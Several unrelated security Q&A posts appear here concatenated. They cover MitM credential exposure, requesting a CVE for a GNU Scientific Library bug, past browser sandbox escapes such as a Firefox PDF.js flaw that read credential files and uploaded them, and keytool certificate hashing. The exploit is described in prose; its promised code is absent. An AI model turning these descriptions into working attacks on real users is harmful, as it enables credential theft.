This particular MitM can view the credentials for everysite you authenticate with, LastPass or not, since they are (typically) transmitted as a simple text field over HTTP within the TLS session or a cookie in the HTTP header.

If they are not interested in breaking into the LastPass extension, then they have as much access to your actual database file as LastPass themselves. The bigger problem is them able to snoop passwords you enter for all sites right now. Additionally, any cookies used to automatically authenticate you to sites are also visible and can be used to gain access to those sites.


Which CVE Numbering Authority (CNA) should I contact for a vulnerability found in the GNU Scientific Library? I may have found a security bug in GNU Scientific Library (https://www.gnu.org/software/gsl/) and would like to request a CVE ID number with it.
According to the procedure explained here: https://cve.mitre.org/cve/request_id.html#cna_participants, I will need to contact a CNA. But none of the listed CNAs seem to cover GNU Scientific Library. What can I do?

First off, don't forget to contact the authors of the library (pick the appropriate contact from the list) so that they issue a fix by the time the CVE is fully disclosed.
If the product affected by the vulnerability is not covered by a CNA in the list (and the GNU Scientific Library certainly isn't), you need to contact the CNA of Last Resort.
There are two of them, but in your case, again, I'd go with MITRE itself: here's the form. I have positive experience working with them on a vulnerability disclosure and CVE number assignment.


Are there cases where malicious scripts on websites breached the sandbox of a browser so that files on the user's computer could be accessed? Whenever a hosted script on a website tries to access a file on a user's computer the sandbox prevents it, but has there been any documented case where this sandbox obstacle was somehow overcome by the script?

To keep you up-to date, you can read about the freshly MFSA2015-78 where Firefox sandboxing mechanism is bypassed by violating the same origin policy. The problem  fixed by Mozilla Firefox on the 6th of August 2015. This vulnerability allows attackers to bypass the same-origin policy and execute malicious JS code remotely that will be interpreted in the local file context. This, in turn, allows attackers to read and write files on local machine as well as upload them to a remote server.

Attacks exploiting this vulnerability impacts Windows, Linux and OS X operating systems.

The malicious script violates Firefox sandboxing mechanism by exploiting vulnerabilities of the embedded PDF.js in Firefox.

For example, in Windows OS, the script probes important configuration files to fetch, mainly for credentials. A part of its code looks like this:

You can see the list of the files in which it is interested once your browser is compromised by it.

For Internet Explorer, you may read about CVE-2015-0016 released by the end of January 2015. The vulnerability is lead by TSWbPrxy.exe which is an ActiveX Control module. The vulnerability allows the attack to bypass Internet Explorer sandbox as it is possible to perform remote attack to gain privileges via a crafted pathname in an executable file.

For Google Chrome, you can read about the freshly CVE-2015-1252 in which the sandbox is violated since it is possible for remote attackers to bypass a sandbox protection mechanism or cause a denial of service (out-of-bounds write) via vectors that trigger a write operation with a large amount of data


Creating an TLS certificate using keytool with SHA-256 I want to create a TLS certificate for my personal tomcat8 webserver on a Debian ARM server. I've done this before, using the following command:

/usr/bin/keytool -genkey -alias tomcat -keyalg RSA -keystore /opt/keystore/keystore_tomcat

I have the Calomel addon installed in Firefox, and this reports a 93% score, with all options except one having a 100% score. For the field MAC it reports 8/15 and SHA-1. I would like to use SHA-256 or the best alternative that is available.

What option do I need to get keytool to use SHA-256?

Your certificate is already signed with SHA-256. (So the keytool part seems to have worked.)

It's just that your browser and your Tomcat server have negotiated a cipher suite where SHA1 is used as a MAC.

Same crypto building block, different use. You just need to find a way to tell Tomcat to prefer a SHA256 ciphersuite. (This blog might help: Mike Noordermeer, 2014-02-05, SSL/TLS, ciphers, perfect forward secrecy and Tomcat. Archived here.)